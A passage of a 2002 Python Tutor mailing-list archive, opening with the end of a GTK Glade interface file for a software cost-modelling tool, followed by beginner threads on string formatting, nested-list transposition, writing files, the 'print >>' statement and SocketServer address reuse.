		      <bottom_attach>1</bottom_attach>
		      <xpad>0</xpad>
		      <ypad>0</ypad>
		      <xexpand>False</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>

		  <widget>
		    <class>GtkOptionMenu</class>
		    <name>PCAP</name>
		    <width>34</width>
		    <tooltip>Very Low : 15th percentile            
Low : 35th percentile
Nominal : 55th percentile
High : 75th percentile
Very High : 90th percentile</tooltip>
		    <can_focus>True</can_focus>
		    <signal>
		      <name>button_release_event</name>
		      <handler>input_state_changed</handler>
		      <last_modification_time>Sat, 27 Oct 2001 16:18:28 GMT</last_modification_time>
		    </signal>
		    <items> 
</items>
		    <initial_choice>0</initial_choice>
		    <child>
		      <left_attach>1</left_attach>
		      <right_attach>2</right_attach>
		      <top_attach>1</top_attach>
		      <bottom_attach>2</bottom_attach>
		      <xpad>0</xpad>
		      <ypad>0</ypad>
		      <xexpand>False</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>

		  <widget>
		    <class>GtkOptionMenu</class>
		    <name>AEXP</name>
		    <width>34</width>
		    <tooltip>Very Low : 2 months
Low : 6 months
Nominal : 1 year
High : 3 years
Very High : 6 years</tooltip>
		    <can_focus>True</can_focus>
		    <signal>
		      <name>button_release_event</name>
		      <handler>input_state_changed</handler>
		      <last_modification_time>Sat, 27 Oct 2001 16:18:28 GMT</last_modification_time>
		    </signal>
		    <items> 
</items>
		    <initial_choice>0</initial_choice>
		    <child>
		      <left_attach>1</left_attach>
		      <right_attach>2</right_attach>
		      <top_attach>2</top_attach>
		      <bottom_attach>3</bottom_attach>
		      <xpad>0</xpad>
		      <ypad>0</ypad>
		      <xexpand>False</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>

		  <widget>
		    <class>GtkOptionMenu</class>
		    <name>PEXP</name>
		    <width>34</width>
		    <tooltip>Very Low : 2 months
Low : 6 months
Nominal : 1 year
High : 3 years
Very High : 6 years</tooltip>
		    <can_focus>True</can_focus>
		    <signal>
		      <name>button_release_event</name>
		      <handler>input_state_changed</handler>
		      <last_modification_time>Sat, 27 Oct 2001 16:18:28 GMT</last_modification_time>
		    </signal>
		    <items> 
</items>
		    <initial_choice>0</initial_choice>
		    <child>
		      <left_attach>1</left_attach>
		      <right_attach>2</right_attach>
		      <top_attach>3</top_attach>
		      <bottom_attach>4</bottom_attach>
		      <xpad>0</xpad>
		      <ypad>0</ypad>
		      <xexpand>False</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>

		  <widget>
		    <class>GtkOptionMenu</class>
		    <name>LTEX</name>
		    <width>34</width>
		    <tooltip>Very Low : 2 months
Low : 6 months
Nominal : 1 year
High : 3 years
Very High : 6 years</tooltip>
		    <can_focus>True</can_focus>
		    <signal>
		      <name>button_release_event</name>
		      <handler>input_state_changed</handler>
		      <last_modification_time>Sat, 27 Oct 2001 16:18:28 GMT</last_modification_time>
		    </signal>
		    <items> 
</items>
		    <initial_choice>0</initial_choice>
		    <child>
		      <left_attach>1</left_attach>
		      <right_attach>2</right_attach>
		      <top_attach>4</top_attach>
		      <bottom_attach>5</bottom_attach>
		      <xpad>0</xpad>
		      <ypad>0</ypad>
		      <xexpand>False</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>

		  <widget>
		    <class>GtkOptionMenu</class>
		    <name>PCON</name>
		    <width>34</width>
		    <tooltip>Very Low : 48% / year
Low : 24% / year
Nominal : 12% / year
High : 6% / year
Very High : 3% / year</tooltip>
		    <can_focus>True</can_focus>
		    <signal>
		      <name>button_release_event</name>
		      <handler>input_state_changed</handler>
		      <last_modification_time>Sat, 27 Oct 2001 16:18:28 GMT</last_modification_time>
		    </signal>
		    <items> 
</items>
		    <initial_choice>0</initial_choice>
		    <child>
		      <left_attach>1</left_attach>
		      <right_attach>2</right_attach>
		      <top_attach>5</top_attach>
		      <bottom_attach>6</bottom_attach>
		      <xpad>0</xpad>
		      <ypad>0</ypad>
		      <xexpand>False</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>
		</widget>
	      </widget>

	      <widget>
		<class>GtkFrame</class>
		<name>frame9</name>
		<label>Project</label>
		<label_xalign>0</label_xalign>
		<shadow_type>GTK_SHADOW_ETCHED_IN</shadow_type>
		<child>
		  <padding>0</padding>
		  <expand>True</expand>
		  <fill>True</fill>
		</child>

		<widget>
		  <class>GtkTable</class>
		  <name>table8</name>
		  <rows>3</rows>
		  <columns>2</columns>
		  <homogeneous>False</homogeneous>
		  <row_spacing>0</row_spacing>
		  <column_spacing>0</column_spacing>

		  <widget>
		    <class>GtkLabel</class>
		    <name>label24</name>
		    <label>TOOL</label>
		    <justify>GTK_JUSTIFY_CENTER</justify>
		    <wrap>False</wrap>
		    <xalign>0</xalign>
		    <yalign>0.5</yalign>
		    <xpad>0</xpad>
		    <ypad>0</ypad>
		    <child>
		      <left_attach>0</left_attach>
		      <right_attach>1</right_attach>
		      <top_attach>0</top_attach>
		      <bottom_attach>1</bottom_attach>
		      <xpad>6</xpad>
		      <ypad>0</ypad>
		      <xexpand>True</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>

		  <widget>
		    <class>GtkLabel</class>
		    <name>label25</name>
		    <label>SITE</label>
		    <justify>GTK_JUSTIFY_CENTER</justify>
		    <wrap>False</wrap>
		    <xalign>0</xalign>
		    <yalign>0.5</yalign>
		    <xpad>0</xpad>
		    <ypad>0</ypad>
		    <child>
		      <left_attach>0</left_attach>
		      <right_attach>1</right_attach>
		      <top_attach>1</top_attach>
		      <bottom_attach>2</bottom_attach>
		      <xpad>6</xpad>
		      <ypad>0</ypad>
		      <xexpand>False</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>

		  <widget>
		    <class>GtkLabel</class>
		    <name>label26</name>
		    <label>SCED</label>
		    <justify>GTK_JUSTIFY_CENTER</justify>
		    <wrap>False</wrap>
		    <xalign>0</xalign>
		    <yalign>0.5</yalign>
		    <xpad>0</xpad>
		    <ypad>0</ypad>
		    <child>
		      <left_attach>0</left_attach>
		      <right_attach>1</right_attach>
		      <top_attach>2</top_attach>
		      <bottom_attach>3</bottom_attach>
		      <xpad>6</xpad>
		      <ypad>0</ypad>
		      <xexpand>False</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>

		  <widget>
		    <class>GtkOptionMenu</class>
		    <name>TOOL</name>
		    <tooltip>Very Low : edit , code , debug                            
Low : simple , frontend , backend , CASE , little integration
Nominal : basic life-cycle tools, moderately integrated
High : strong, mature, life-cycle tools, moderately integrated
Very High : strong, mature, proactive life-cycle tools, well integrated with processes, methods, reuse</tooltip>
		    <can_focus>True</can_focus>
		    <signal>
		      <name>button_release_event</name>
		      <handler>input_state_changed</handler>
		      <last_modification_time>Sat, 27 Oct 2001 16:18:28 GMT</last_modification_time>
		    </signal>
		    <items>VL
</items>
		    <initial_choice>0</initial_choice>
		    <child>
		      <left_attach>1</left_attach>
		      <right_attach>2</right_attach>
		      <top_attach>0</top_attach>
		      <bottom_attach>1</bottom_attach>
		      <xpad>0</xpad>
		      <ypad>0</ypad>
		      <xexpand>False</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>

		  <widget>
		    <class>GtkOptionMenu</class>
		    <name>SITE</name>
		    <width>34</width>
		    <tooltip>Very Low : international / some phone , mail                       
Low : multi-city and multi-company / individual phone , fax
Nominal : multi-city or multi-company / narrowband email
High : same city or metro area / wideband electronic communication
Very High : same building or complex / wideband electronic comm. , occaisonal
video conference
Extra High : fully collocated / interactive multimedia</tooltip>
		    <can_focus>True</can_focus>
		    <signal>
		      <name>button_release_event</name>
		      <handler>input_state_changed</handler>
		      <last_modification_time>Sat, 27 Oct 2001 16:18:28 GMT</last_modification_time>
		    </signal>
		    <items> 
</items>
		    <initial_choice>0</initial_choice>
		    <child>
		      <left_attach>1</left_attach>
		      <right_attach>2</right_attach>
		      <top_attach>1</top_attach>
		      <bottom_attach>2</bottom_attach>
		      <xpad>0</xpad>
		      <ypad>0</ypad>
		      <xexpand>False</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>

		  <widget>
		    <class>GtkOptionMenu</class>
		    <name>SCED</name>
		    <width>34</width>
		    <tooltip>Very Low : 75% of nominal
Low : 85%
Nominal : 100%
High : 130%
Very High : 160%</tooltip>
		    <can_focus>True</can_focus>
		    <signal>
		      <name>button_release_event</name>
		      <handler>input_state_changed</handler>
		      <last_modification_time>Sat, 27 Oct 2001 16:18:28 GMT</last_modification_time>
		    </signal>
		    <items> 
</items>
		    <initial_choice>0</initial_choice>
		    <child>
		      <left_attach>1</left_attach>
		      <right_attach>2</right_attach>
		      <top_attach>2</top_attach>
		      <bottom_attach>3</bottom_attach>
		      <xpad>0</xpad>
		      <ypad>0</ypad>
		      <xexpand>False</xexpand>
		      <yexpand>False</yexpand>
		      <xshrink>False</xshrink>
		      <yshrink>False</yshrink>
		      <xfill>True</xfill>
		      <yfill>False</yfill>
		    </child>
		  </widget>
		</widget>
	      </widget>
	    </widget>
	  </widget>
	</widget>
      </widget>
    </widget>
  </widget>
</widget>

<widget>
  <class>GtkDialog</class>
  <name>MessageDialog</name>
  <signal>
    <name>destroy_event</name>
    <handler>gtk_widget_destroy</handler>
    <last_modification_time>Fri, 26 Oct 2001 05:09:02 GMT</last_modification_time>
  </signal>
  <title>Cost Modeler : Message</title>
  <type>GTK_WINDOW_TOPLEVEL</type>
  <position>GTK_WIN_POS_NONE</position>
  <modal>False</modal>
  <allow_shrink>True</allow_shrink>
  <allow_grow>True</allow_grow>
  <auto_shrink>False</auto_shrink>

  <widget>
    <class>GtkVBox</class>
    <child_name>Dialog:vbox</child_name>
    <name>dialog-vbox1</name>
    <homogeneous>False</homogeneous>
    <spacing>0</spacing>

    <widget>
      <class>GtkHBox</class>
      <child_name>Dialog:action_area</child_name>
      <name>dialog-action_area1</name>
      <border_width>10</border_width>
      <homogeneous>True</homogeneous>
      <spacing>5</spacing>
      <child>
	<padding>0</padding>
	<expand>False</expand>
	<fill>True</fill>
	<pack>GTK_PACK_END</pack>
      </child>

      <widget>
	<class>GtkButton</class>
	<name>button1</name>
	<can_focus>True</can_focus>
	<signal>
	  <name>released</name>
	  <handler>msg_dlg_ok</handler>
	  <last_modification_time>Fri, 26 Oct 2001 05:09:24 GMT</last_modification_time>
	</signal>
	<label>Ok</label>
	<relief>GTK_RELIEF_NORMAL</relief>
	<child>
	  <padding>0</padding>
	  <expand>False</expand>
	  <fill>False</fill>
	</child>
      </widget>
    </widget>

    <widget>
      <class>GtkHBox</class>
      <name>hbox1</name>
      <homogeneous>False</homogeneous>
      <spacing>0</spacing>
      <child>
	<padding>0</padding>
	<expand>True</expand>
	<fill>True</fill>
      </child>

      <widget>
	<class>Placeholder</class>
      </widget>

      <widget>
	<class>GtkLabel</class>
	<name>message_label</name>
	<label>message label</label>
	<justify>GTK_JUSTIFY_CENTER</justify>
	<wrap>False</wrap>
	<xalign>0.5</xalign>
	<yalign>0.5</yalign>
	<xpad>0</xpad>
	<ypad>0</ypad>
	<child>
	  <padding>6</padding>
	  <expand>True</expand>
	  <fill>False</fill>
	</child>
      </widget>
    </widget>
  </widget>
</widget>

</GTK-Interface>

--rwEMma7ioTxnRzrJ--


From dyoo@hkn.eecs.berkeley.edu  Sat Feb 16 23:29:44 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Sat, 16 Feb 2002 15:29:44 -0800 (PST)
Subject: [Tutor] String formatting
In-Reply-To: <3C6D9580.90707@verio.net>
Message-ID: <Pine.LNX.4.21.0202161523340.3188-100000@hkn.eecs.berkeley.edu>

On Fri, 15 Feb 2002, VanL wrote:

>         print '%(totalfiles)s total files, %(includedfiles)s included in 
> content scan  (%(stat1)s%(percent)s)' % vars()
>         print '%(changedfiles)s files changed (%(stat2)s%(percent)s of 
> total files, %(stat3)s%(percent)s of scanned files)' % vars()
>         print '%s total text changes' % textchanges  
> 
> 
> 
> This is giving me a keyerror for totalfiles.


Hmmm... Let's check this:

###
Python 2.2 (#1, Jan 20 2002, 01:33:14) 
[GCC 2.95.4 20011006 (Debian prerelease)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> some_global = 42
>>> def function():
...     some_local = 13
...     print "vars() is %s" % vars()
...     print "globals() is %s" % globals()
... 
>>> function()
vars() is {'some_local': 13}
globals() is {'__builtins__': <module '__builtin__' (built-in)>,
'__name__': '__main__', 'function': <function function at 0x814be0c>,
'__doc__': None, 'some_global': 42}
###


We probably may want to use some combination of both dictionaries
then.  Here's a function that may help:

###
>>> def concat_dict(d1, d2):
...     d3 = d1.copy()
...     d3.update(d2)
...     return d3
... 
>>> concat_dict({'hello': 'world'}, {'penguin': 'power'})
{'hello': 'world', 'penguin': 'power'}
###


Hope this helps!



From dyoo@hkn.eecs.berkeley.edu  Sat Feb 16 23:41:19 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Sat, 16 Feb 2002 15:41:19 -0800 (PST)
Subject: [Tutor] transposing [n, [e],[s[te]],[d]] sequences
In-Reply-To: <KLGMNELKKNECCBAA@mailcity.com>
Message-ID: <Pine.LNX.4.21.0202161530520.3188-100000@hkn.eecs.berkeley.edu>

On Sat, 16 Feb 2002, kevin parks wrote:

> # Here is the type of thing i can write pretty swiftly now:
> 
> def Xpose(seq,n, oct=12, sort_flag=0):
>     ''' take a sequence and tranpose it modulo some number
>     '''
>     mylist=[]
>     for i in seq:
>         x = (i+n)%oct
>         mylist.append(x) # to append or extend?
>     if sort_flag:
>         mylist.sort() # to sort or not sort
>     return mylist

Very nice.  Yes, this looks great!


> # Problem: how do i make something like this work for nested
> sequences? since sometimes we will have lists of lists or (god help
> us) list of *gasp* tuples...


What would be an example of how we'd want Xpose() to work on nested
structures?  Should this new Xpose() try to preserve the structure of the
list, like this:

###
### imaginary session #1
###
>>> x = [0, [2, 4], [5, [7], 9], 11]
>>> c = Xpose(x, 4, 12, 0)
>>> c
[4, [6, 8], [9, [11], 1], 3]
###


Or should this new Xpose() disregard the nested structure altogether, and
work on a flatten version of the list?

###
### imaginary session #2
###
>>> x = [0, [2, 4], [5, [7], 9], 11]
>>> c = Xpose(x, 4, 12, 0)
>>> c
[4, 6, 8, 9, 11, 1, 3]
###

Or perhaps something else?  Just want to make sure we're on the same
wavelength before working on this problem... *grin*


Talk to you later!



From e.kotyk@shaw.ca  Sun Feb 17 03:59:05 2002
From: e.kotyk@shaw.ca (Eve Kotyk)
Date: Sun, 17 Feb 2002 03:59:05 +0000
Subject: [Tutor] creating files with python and a thanks
References: <F88Zgq4MwCVd2NaO8zc00002382@hotmail.com> <41963702708@kserver.org>
Message-ID: <3C6F2A89.1A2DD743@shaw.ca>

 
> -----------------------
> this is my file
> my stuff
> is in
> my
> file
> ----------------------
> 
> and let's say you want to save in on your computer under the name
> 
> myfile.mbg
> 
> Then this code should work:
> 
> f = open('myfile.mbg', 'w')
> f.write('this is my file\nmy stuff\nis in\nmy\nfile')
> f.close()
> 
This is interesting to me for my project.  So if instead of f.write
('this is my file...., ..) I wanted to write the whole input and output
of a function to a file how would I do that?
-- 

ekotyk

http://members.shaw.ca/e.kotyk/virtualstudio.htm


From sheila@thinkspot.net  Sun Feb 17 04:26:59 2002
From: sheila@thinkspot.net (Sheila King)
Date: Sat, 16 Feb 2002 20:26:59 -0800
Subject: [Tutor] creating files with python and a thanks
In-Reply-To: <3C6F2A89.1A2DD743@shaw.ca>
References: <F88Zgq4MwCVd2NaO8zc00002382@hotmail.com> <41963702708@kserver.org> <3C6F2A89.1A2DD743@shaw.ca>
Message-ID: <216A37E221F@kserver.org>

On Sun, 17 Feb 2002 03:59:05 +0000, Eve Kotyk <e.kotyk@shaw.ca>  wrote
about Re: [Tutor] creating files with python and a thanks:
 
> > f = open('myfile.mbg', 'w')
> > f.write('this is my file\nmy stuff\nis in\nmy\nfile')
> > f.close()
> > 
> This is interesting to me for my project.  So if instead of f.write
> ('this is my file...., ..) I wanted to write the whole input and output
> of a function to a file how would I do that?

If the function returns a string, then one possibility is:

function_output = function(param1, param2, ...)
f = open('myfile.txt', 'w')
f.write(function_output)
f.close()


Another possibility is:

f = open('myfile.txt', 'w')
f.write(function(param1, param2, ...))
f.close()

As in all things Python, always have an Interpreter window open and just
play around and experiment. I would make up some dummy files (not
important ones) to do this type of experimenting with. But you will most
likely not hurt anything, and it is the best way to learn.

-- 
Sheila King
http://www.thinkspot.net/sheila/

"When introducing your puppy to an adult cat,
restrain the puppy, not the cat." -- Gwen Bailey,
_The Perfect Puppy: How to Raise a Well-behaved Dog_




From sheila@thinkspot.net  Sun Feb 17 04:35:03 2002
From: sheila@thinkspot.net (Sheila King)
Date: Sat, 16 Feb 2002 20:35:03 -0800
Subject: [Tutor] creating files with python and a thanks
In-Reply-To: <216A37E221F@kserver.org>
References: <F88Zgq4MwCVd2NaO8zc00002382@hotmail.com> <41963702708@kserver.org> <3C6F2A89.1A2DD743@shaw.ca> <216A37E221F@kserver.org>
Message-ID: <21E05651150@kserver.org>

On Sat, 16 Feb 2002 20:26:59 -0800, Sheila King <sheila@thinkspot.net>
wrote about Re: [Tutor] creating files with python and a thanks:

> If the function returns a string, then one possibility is:

OH, I forgot to include the case, for where the function returns
something that isn't a string...like it returns an integer, float, list,
dictionary, or what-have-you.

How about this?

f = open('myfile.txt', 'w')
f.write(str(function(param1, param2, ...)))
f.close()

Basically, wrapping
str()

around anything will convert it to it's "string" representation, if that
is possible. For most of the basic types, I can't imagine a problem.

-- 
Sheila King
http://www.thinkspot.net/sheila/

"When introducing your puppy to an adult cat,
restrain the puppy, not the cat." -- Gwen Bailey,
_The Perfect Puppy: How to Raise a Well-behaved Dog_



From idiot1@netzero.net  Sun Feb 17 05:38:43 2002
From: idiot1@netzero.net (kirk Bailey)
Date: Sun, 17 Feb 2002 00:38:43 -0500
Subject: [Tutor] 1.1.3 is ready
Message-ID: <3C6F41E3.474C20CF@netzero.net>

tinylist.1.1.3.tar.gz and tinylist.1.1.3.zip are now ready and sitting
on the site for your downloading convience.

-- 
 
end
	    Respectfully,
			Kirk D Bailey

+---------------------"Thou Art Free." -Eris----------------------+
| http://www.howlermonkey.net mailto:highprimate@howlermonkey.net |
| http://www.tinylist.org  +--------+  mailto:grumpy@tinylist.org |
+------------------Thinking| NORMAL |Thinking---------------------+
                           +--------+

NOTE: By sending SPAM to this address you agree to pay me a service
fee of $100 for the service of receiving,  storing,  examining, and
deleting  your piece  of SPAM.  By sending SPAM to this account you
agree to these terms.
----------------------------------------------------
Sign Up for NetZero Platinum Today
Only $9.95 per month!
http://my.netzero.net/s/signup?r=platinum&refcd=PT97


From dyoo@hkn.eecs.berkeley.edu  Sun Feb 17 07:45:44 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Sat, 16 Feb 2002 23:45:44 -0800 (PST)
Subject: [Tutor] creating files with python and a thanks
In-Reply-To: <216A37E221F@kserver.org>
Message-ID: <Pine.LNX.4.21.0202162335120.9522-100000@hkn.eecs.berkeley.edu>

On Sat, 16 Feb 2002, Sheila King wrote:

> On Sun, 17 Feb 2002 03:59:05 +0000, Eve Kotyk <e.kotyk@shaw.ca>  wrote
> about Re: [Tutor] creating files with python and a thanks:
>  
> > > f = open('myfile.mbg', 'w')
> > > f.write('this is my file\nmy stuff\nis in\nmy\nfile')
> > > f.close()
> > > 
> > This is interesting to me for my project.  So if instead of f.write
> > ('this is my file...., ..) I wanted to write the whole input and output
> > of a function to a file how would I do that?


Also, just as we can 'print' out the results of a function on screen:

###
>>> def square(x): return x * x
... 
>>> print "The square of 42 is", square(42)
The square of 42 is 1764
###


We can also 'print' to a file, like this:

###
>>> f = open('output.txt', 'w')
>>> print >>f, "The square of 42 is", square(42)
>>> f.close()
>>> print open('output.txt').read()
The square of 42 is 1764

###

In this case, we can use the 'print >>file' statement, and since you're
already familiar with how 'print' works, this should be a good way of
doing file output.


(On the other hand, I can't say that I _like_ the syntax of this extended
'print' statement; I would have much preferred something like:

    fprint f, "The square of 42 is", square(42)

because at least it avoids a semantic conflict with the shift-right
operator, and seems to fix my internal model of Python. Has anyone written
a PEP request to change the syntax of 'print >>file' yet?)


Ignore my grumbling.  *grin*  Anyway, hope this helps!



From kalle@gnupung.net  Sun Feb 17 09:48:50 2002
From: kalle@gnupung.net (Kalle Svensson)
Date: Sun, 17 Feb 2002 10:48:50 +0100
Subject: [Tutor] creating files with python and a thanks
In-Reply-To: <Pine.LNX.4.21.0202162335120.9522-100000@hkn.eecs.berkeley.edu>
References: <216A37E221F@kserver.org> <Pine.LNX.4.21.0202162335120.9522-100000@hkn.eecs.berkeley.edu>
Message-ID: <20020217094850.GB14380@sandra.lysator.liu.se>

[Danny Yoo]
> We can also 'print' to a file, like this:
> 
> ###
> >>> f = open('output.txt', 'w')
> >>> print >>f, "The square of 42 is", square(42)
> >>> f.close()
> >>> print open('output.txt').read()
> The square of 42 is 1764
> 
> ###
> 
> In this case, we can use the 'print >>file' statement, and since you're
> already familiar with how 'print' works, this should be a good way of
> doing file output.

Arh, no!  Please don't let this monster escape to the daylight!

> (On the other hand, I can't say that I _like_ the syntax of this extended
> 'print' statement; I would have much preferred something like:
> 
>     fprint f, "The square of 42 is", square(42)
> 
> because at least it avoids a semantic conflict with the shift-right
> operator, and seems to fix my internal model of Python. Has anyone written
> a PEP request to change the syntax of 'print >>file' yet?)

I think such a PEP would be doomed, considering that there was a lot
of syntax discussion when the >> PEP was written and that incompatible
changes are frowned upon if they lack a technical motivation.

> Ignore my grumbling.

Couldn't. <wink/>

Peace,
  Kalle
-- 
Kalle Svensson (kalle@gnupung.net) - Laziness, impatience, hubris: Pick two!
English: http://www.gnupung.net/  Svenska: http://www.lysator.liu.se/~kalle/
Stuff: ["http://www.%s.org/" % x for x in "gnu debian python emacs".split()]


From dyoo@hkn.eecs.berkeley.edu  Sun Feb 17 11:22:13 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Sun, 17 Feb 2002 03:22:13 -0800 (PST)
Subject: [Tutor] The 'print >>' ogre
In-Reply-To: <20020217094850.GB14380@sandra.lysator.liu.se>
Message-ID: <Pine.LNX.4.21.0202170235280.12134-100000@hkn.eecs.berkeley.edu>

On Sun, 17 Feb 2002, Kalle Svensson wrote:

> [Danny Yoo]
> > In this case, we can use the 'print >>file' statement, and since you're
> > already familiar with how 'print' works, this should be a good way of
> > doing file output.
> 
> Arh, no!  Please don't let this monster escape to the daylight!

I suddenly have this image of this Grimm's Fairy Tales ogre, with a big
fat 'print >>' stamped on his chest, and he's prancing in my brain.  Oh
well, hopefully he'll disappear when I go to sleep.


> > operator, and seems to fix my internal model of Python. Has anyone written
> > a PEP request to change the syntax of 'print >>file' yet?)
> 
> I think such a PEP would be doomed, considering that there was a lot
> of syntax discussion when the >> PEP was written and that incompatible
> changes are frowned upon if they lack a technical motivation.

For reference, here's the PEP about the extended print statement:

    http://python.sourceforge.net/peps/pep-0214.html

I'm glancing through the PEP now, and none of the alternatives solutions
appear to do the same thing as a hypothetical 'fprint' statement.  
Perhaps I can learn how to write a PEP by proposing this.


I think it might be worth trying it.  How many people have used the
extended 'print >>' statement?  Perhaps a more important question: how
many people here have even heard about it?

If we're trying to limit its exposure to the light, we're definitely
making a judgement that it's either a terrible idea or smells terribly
bad.  I think it's the latter, and if that's the case, perhaps a strong
scrubbing is in order.  *grin*



From scarblac@pino.selwerd.nl  Sun Feb 17 11:32:41 2002
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Sun, 17 Feb 2002 12:32:41 +0100
Subject: [Tutor] The 'print >>' ogre
In-Reply-To: <Pine.LNX.4.21.0202170235280.12134-100000@hkn.eecs.berkeley.edu>; from dyoo@hkn.eecs.berkeley.edu on Sun, Feb 17, 2002 at 03:22:13AM -0800
References: <20020217094850.GB14380@sandra.lysator.liu.se> <Pine.LNX.4.21.0202170235280.12134-100000@hkn.eecs.berkeley.edu>
Message-ID: <20020217123241.A14691@pino.selwerd.nl>

On  0, Danny Yoo <dyoo@hkn.eecs.berkeley.edu> wrote:
> I think it might be worth trying it.  How many people have used the
> extended 'print >>' statement?  Perhaps a more important question: how
> many people here have even heard about it?
> 
> If we're trying to limit its exposure to the light, we're definitely
> making a judgement that it's either a terrible idea or smells terribly
> bad.  I think it's the latter, and if that's the case, perhaps a strong
> scrubbing is in order.  *grin*

I've used it. Sometimes you have an open file that your results go to, and
you want to print stuff to it just like you would want to do with a normal
print (newline at the end, space between the arguments, etc), and then it's
the convenient way to do it.

I can live with the syntax, too. It's pretty mnemonic for "print to" for me.

But still I don't think I'll use it much - the situation where it's useful
just doesn't occur often in my code.

-- 
Remco Gerlich


From kp87@lycos.com  Sun Feb 17 11:48:05 2002
From: kp87@lycos.com (kevin parks)
Date: Sun, 17 Feb 2002 20:48:05 +0900
Subject: [Tutor] Transposing [n, [e],[s[te]],[d]] sequences
Message-ID: <OHBNALLNJPDHCBAA@mailcity.com>

# Problem: how do i make something like this work for nested 
# sequences? since sometimes we will have lists of lists or (god help 
# us) list of *gasp* tuples...


By this i meant not first flattening the list or returning the list as flat, but transposing each element leaving the structure in place.

i wasn't clear on that point. Sorry.

here is the code again (it is short):

def Xpose(seq,n, oct=12, sort_flag=0):
    ''' take a sequence and tranpose it modulo some number
    '''
    mylist=[]
    for i in seq:
        x = (i+n)%oct
        mylist.append(x) # to append or extend?
    if sort_flag:
        mylist.sort() # to sort or not sort
    return mylist

#-- (i am at an internet cafe with no interpreter so there could
# be a type, but i hope not, Imaginary session follows:

>>> x = [0, 2, 4, 5, 7, 9, 11]
>>> c = Xpose(x, 4, 12, 0)
>>> c
[4, 6, 8, 9, 11, 1, 3]
>>> d = Xpose(x, 4, 12, 1) # sorted now
>>> d
[1, 3, 4, 6, 8, 9, 11]

--



Check out Cupid School where you will learn from Matchmaker's
best and brightest. Good Luck!

http://ecard.matchmaker.com/cupid0202/cupid0202.html


From kp87@lycos.com  Sun Feb 17 11:57:36 2002
From: kp87@lycos.com (kevin parks)
Date: Sun, 17 Feb 2002 20:57:36 +0900
Subject: [Tutor] creating files with python and a thanks
Message-ID: <FOBLFFKLOHEHCBAA@mailcity.com>

>How can you tell Python to make a simple text file or to make a kind of file 
>with your own kind of extension?

I am guessing that you are on a PC, but if on the off chance you are on the Macintosh you can set the creator and type codes and pop the file open with something like this:

def launcher(file_name, cr = 'R*ch', tp = 'TEXT'):
	'''set file type & creator codes and pop the window open in the finder
	
	Macintosh specific
	'''
	cr = 'R*ch'						# set the file type and creator codes
	tp = 'TEXT'						# some types: 'Pyth'  'ttxt' 'R*ch'  'BOBO'  'TBB6'
	fs = macfs.FSSpec(file_name)
	fs.SetCreatorType(cr, tp)
	findertools.launch(file_name)	#  and pop the file open in the finder.
--

-kevin
seoul, korea (yes i am the 1 person in Korea not using a windoze PC)




Check out Cupid School where you will learn from Matchmaker's
best and brightest. Good Luck!

http://ecard.matchmaker.com/cupid0202/cupid0202.html


From arcege@speakeasy.net  Sun Feb 17 14:59:42 2002
From: arcege@speakeasy.net (Michael P. Reilly)
Date: Sun, 17 Feb 2002 09:59:42 -0500
Subject: [Tutor] SocketObject.close() question
In-Reply-To: <8715EC5A-2138-11D6-9828-0003937266F6@zkm.de>; from schoeller@zkm.de on Thu, Feb 14, 2002 at 11:49:32AM +0100
References: <20020213141603.C910@speakeasy.net> <8715EC5A-2138-11D6-9828-0003937266F6@zkm.de>
Message-ID: <20020217095942.D4720@speakeasy.net>

On Thu, Feb 14, 2002 at 11:49:32AM +0100, Andreas Sch=F6ller wrote:
> port =3D 9000
> server =3D SocketServer.TCPServer(('', port), RequestHandler)
> server.allow_reuse_address =3D 1
> server.serve_forever()
>=20
> which also, did not work, because the attribute-setting comes too late.=
=20
> I ended up with changing the default in the module, with one question=20
> remaining :  How can one use this setting without subclassing ?

Looking at the code, the value is used when the instance is created.
So you would have to change TCPServer and _then_ create the instance.

SocketServer.TCPServer.allow_reuse_address =3D 1
server =3D SocketServer.TCPServer(('', port), RequestHandler)
server.server_forever()

  -Arcege



From paulsid@shaw.ca  Sun Feb 17 16:56:33 2002
From: paulsid@shaw.ca (Paul Sidorsky)
Date: Sun, 17 Feb 2002 09:56:33 -0700
Subject: [Tutor] The 'print >>' ogre
References: <Pine.LNX.4.21.0202170235280.12134-100000@hkn.eecs.berkeley.edu>
Message-ID: <3C6FE0C1.B959DFB2@shaw.ca>

